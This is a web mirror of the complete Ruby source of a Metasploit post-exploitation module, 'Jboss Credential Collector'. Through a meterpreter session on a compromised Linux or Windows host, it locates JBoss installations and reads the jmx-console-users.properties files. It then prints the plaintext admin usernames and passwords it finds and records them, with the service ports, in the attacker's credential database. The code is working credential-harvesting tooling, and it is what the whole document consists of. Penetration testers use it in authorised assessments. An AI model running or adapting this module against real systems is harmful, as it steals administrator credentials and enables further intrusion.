CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/jboss_gather.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'nokogiri'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Linux::System
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Jboss Credential Collector',
17
'Description' => %q{
18
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'Koen Riepe ([email protected])' ],
22
'Platform' => [ 'linux', 'win' ],
23
'SessionTypes' => [ 'meterpreter' ]
24
)
25
)
26
end
27
28
def report_creds(user, pass, port)
29
return if (user.empty? || pass.empty?)
30
31
# Assemble data about the credential objects we will be creating
32
credential_data = {
33
origin_type: :session,
34
post_reference_name: fullname,
35
private_data: pass,
36
private_type: :password,
37
session_id: session_db_id,
38
username: user,
39
workspace_id: myworkspace_id
40
}
41
42
credential_core = create_credential(credential_data)
43
44
if !port.is_a? Integer
45
print_error('Failed to detect port, defaulting to 8080 for creds database')
46
port = 8080
47
end
48
49
login_data = {
50
core: credential_core,
51
status: Metasploit::Model::Login::Status::UNTRIED,
52
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
53
port: port,
54
service_name: 'jboss',
55
protocol: 'tcp',
56
workspace_id: myworkspace_id
57
}
58
create_credential_login(login_data)
59
end
60
61
def getpw(file, ports)
62
i = 0
63
file.each do |pwfile|
64
begin
65
print_status("Getting passwords from: #{pwfile}")
66
lines = read_file(pwfile).split("\n")
67
rescue StandardError
68
print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")
69
next
70
end
71
for line in lines
72
next if line.include? '#'
73
74
creds = line.split('=')
75
print_good("Credentials found - Username: #{creds[0]} Password: #{creds[1]}")
76
report_creds(creds[0], creds[1], ports[i])
77
end
78
i += 1
79
end
80
end
81
82
def getversion(array)
83
i = 0
84
version = 'NONE'
85
results = []
86
while i < array.count
87
downcase = array[i].downcase
88
if downcase.include? 'jboss'
89
begin
90
file = read_file(array[i])
91
rescue StandardError
92
print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")
93
next
94
end
95
xml_doc = Nokogiri::XML(file)
96
xml_doc.xpath('//jar-versions//jar').each do |node|
97
if node['name'] == 'jbossweb.jar'
98
version = node['specVersion'][0]
99
results.push(version)
100
end
101
end
102
end
103
if version != 'NONE'
104
print_status("Found a Jboss installation version: #{version}")
105
home = readhome(cmd_exec('printenv').split("\n"))
106
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)
107
listenports = getports(version)
108
getpw(pwfiles, listenports)
109
end
110
i += 1
111
end
112
end
113
114
def wingetversion(array, home)
115
i = 0
116
version = 'NONE'
117
results = []
118
while i < array.count
119
downcase = array[i].downcase
120
if downcase.include? 'jboss'
121
file = read_file(array[i])
122
xml_doc = Nokogiri::XML(file)
123
xml_doc.xpath('//jar-versions//jar').each do |node|
124
if node['name'] == 'jbossweb.jar'
125
version = node['specVersion'][0]
126
results.push(version)
127
end
128
end
129
end
130
if version != 'NONE'
131
print_status("Found a Jboss installation version: #{version}")
132
instances = wingetinstances(home, version)
133
pwfiles = winpwfiles(instances)
134
listenports = wingetport(instances)
135
getpw(pwfiles, listenports)
136
end
137
i += 1
138
end
139
end
140
141
def readhome(array)
142
home = ''
143
array.each do |item|
144
if item.include? 'JBOSS_HOME'
145
home = item.split('JBOSS_HOME=')[1]
146
end
147
end
148
return home
149
end
150
151
def getpwfiles(array, home, version)
152
pwfiles = []
153
array.each do |location|
154
if location.include?(home && version)
155
pwfiles.push(location)
156
end
157
end
158
return pwfiles
159
end
160
161
def getports(version)
162
type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")
163
type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")
164
port = []
165
type1.each do |file1|
166
next unless file1 && file1.include?(version)
167
168
print_status("Attempting to extract Jboss service ports from: #{file1}")
169
begin
170
file1_read = read_file(file1).split("\n")
171
rescue StandardError
172
print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")
173
next
174
end
175
parse = false
176
portfound = false
177
file1_read.each do |line|
178
if line.strip.include? 'deploy/httpha-invoker.sar'
179
parse = true
180
elsif ((line.strip == '</bean>') && portfound)
181
parse = false
182
elsif parse && line.include?('<property name="port">')
183
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
184
port.push(portnr)
185
portfound = true
186
print_good("Jboss port found: #{portnr}")
187
end
188
end
189
end
190
191
type2.each do |file2|
192
next unless file2 && file2.include?(version)
193
194
print_status("Attempting to extract Jboss service ports from: #{file2}")
195
begin
196
xml2 = Nokogiri::XML(read_file(file2))
197
rescue StandardError
198
print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")
199
next
200
end
201
xml2.xpath('//Server//Connector').each do |connector|
202
next unless connector['protocol'].include? 'HTTP'
203
204
portnr = connector['port'].to_i
205
port.push(portnr)
206
print_good("Jboss port found: #{portnr}")
207
break
208
end
209
end
210
return port
211
end
212
213
def gathernix
214
print_status('Unix OS detected, attempting to locate Jboss services')
215
version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
216
end
217
218
def winhome
219
home = []
220
exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
221
exec.each do |line|
222
next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')
223
224
print_status('Jboss service found')
225
parse = line.split('-classpath "')[1].split('\\bin\\')[0]
226
if parse[0] == ';'
227
home.push(parse.split(';')[1])
228
else
229
home.push(parse)
230
end
231
end
232
return home
233
end
234
235
def wingetinstances(home, version)
236
instances = []
237
instance_location = "#{home}\\server"
238
exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")
239
exec.each do |instance|
240
next unless instance.split('<DIR>')[1] && ((!instance.split('<DIR>')[1].strip.include? '.') && (!instance.split('<DIR>')[1].strip.include? '..'))
241
242
instance_path = "#{home}\\server\\#{instance.split('<DIR>')[1].strip}"
243
if instance_path.include? version
244
instances.push(instance_path)
245
end
246
end
247
return instances
248
end
249
250
def winpwfiles(instances)
251
files = []
252
instances.each do |seed|
253
file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"
254
if exist?(file_path)
255
files.push(file_path)
256
end
257
end
258
return files
259
end
260
261
def wingetport(instances)
262
port = []
263
instances.each do |seed|
264
path1 = "#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
265
path2 = "#{seed}\\deploy\\jboss-web.deployer\\server.xml"
266
267
if exist?(path1)
268
file1 = read_file("#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
269
end
270
271
if exist?(path2)
272
file2 = read_file("#{seed}\\deploy\\jboss-web.deployer\\server.xml")
273
end
274
275
if file1
276
print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
277
parse = false
278
portfound = false
279
file1.each do |line|
280
if line.strip.include? 'deploy/httpha-invoker.sar'
281
parse = true
282
elsif ((line.strip == '</bean>') && portfound)
283
parse = false
284
elsif parse && line.include?('<property name="port">')
285
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
286
port.push(portnr)
287
portfound = true
288
print_good("Jboss port found: #{portnr}")
289
end
290
end
291
end
292
293
next unless file2
294
295
print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
296
xml2 = Nokogiri::XML(file2)
297
xml2.xpath('//Server//Connector').each do |connector|
298
next unless connector['protocol'].include? 'HTTP'
299
300
portnr = connector['port'].to_i
301
port.push(portnr)
302
print_good("Jboss port found: #{portnr}")
303
break
304
end
305
end
306
return port
307
end
308
309
def gatherwin
310
print_status('Windows OS detected, enumerating services')
311
homeArray = winhome
312
if !homeArray.empty?
313
homeArray.each do |home|
314
version_file = []
315
version_file.push("#{home}\\jar-versions.xml")
316
version = wingetversion(version_file, home)
317
end
318
else
319
print_status('No Jboss service has been found')
320
end
321
end
322
323
def run
324
if sysinfo['OS'].include? 'Windows'
325
gatherwin
326
else
327
gathernix
328
end
329
rescue StandardError
330
print_error('sysinfo function not available, you are probably using a wrong meterpreter.')
331
end
332
end
333
334